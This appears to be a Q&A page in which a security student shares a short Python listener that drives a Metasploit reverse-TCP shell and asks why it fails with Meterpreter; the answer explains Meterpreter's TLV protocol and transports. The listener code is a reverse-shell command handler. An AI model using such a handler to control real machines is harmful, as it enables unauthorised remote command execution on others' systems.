【问题标题】:Meterpreter Handler/listenerMeterpreter 处理程序/侦听器
【发布时间】:2016-04-22 00:12:39
【问题描述】:

我是网络安全专业的学生,​​我不是破解者、脚本小子或类似的东西,我正在研究一个 python Meterpreter 的侦听器,我找到了一个普通的 tcp 反向处理程序,它正在使用 cmd reverse tpc (metasploit ),但它不适用于meterpreter reverse tpc(metasploit)......有人知道为什么吗?谢谢。

#!/usr/bin/python
# import python modules
from socket import *
HOST = ''                 # '' means bind to all interfaces
PORT = 4444                #  port 
# create our socket handler
s = socket(AF_INET, SOCK_STREAM)
# set is so that when we cancel out we can reuse port
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# bind to interface
s.bind((HOST, PORT))
# print we are accepting connections
print "Listening on 0.0.0.0:%s" % str(PORT)
# listen for only 10 connection
s.listen(10)
# accept connections
conn, addr = s.accept()
# print connected by ipaddress
print 'Connected by', addr
# receive initial connection
data = conn.recv(1024)
# start loop
while 1:
     # enter shell command
     command = raw_input("Enter shell command or quit: ")
     # send shell command
     conn.send(command)
     # if we specify quit then break out of loop and close socket
     if command == "quit": break
     # receive output from linux command
     data = conn.recv(1024)
     # print the output of the linux command
     print data
# close socket
conn.close()

【问题讨论】:

  • 除非你能把对方的代码...
  • 不行,是metasploit生成的!

标签: python ruby metasploit


【解决方案1】:

这不适用于 Meterpreter,因为 Meterpreter 的传输支持自定义协议。为了让您的“侦听器”与 Meterpreter 一起工作,您还必须实现此协议。

这些天来,它的记录相当好。您可以在 Metasploit Github 存储库的 wiki 上开始阅读它。有关 Meterpreter 运行过程的信息,请查看44con talk(无耻插件),它也涵盖了 TLV 数据包。您需要支持多种传输方式,包括 SSL 包装的 TCP。

一旦 TLV 工作正常,您需要实现 Meterpreter 支持的所有命令。这不仅包括单次命令(例如getsystemls),您还必须支持通道等内容。

我不会撒谎的,你有很多的工作。制作一个功能性的 Meterpreter 监听器并不是一件容易的事,而且它的功能远比你想象的要多。已经没有 Python 实现的事实是一个迹象。

祝你好运!

【讨论】:

    猜你喜欢
    • 2012-06-21
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2010-12-23
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多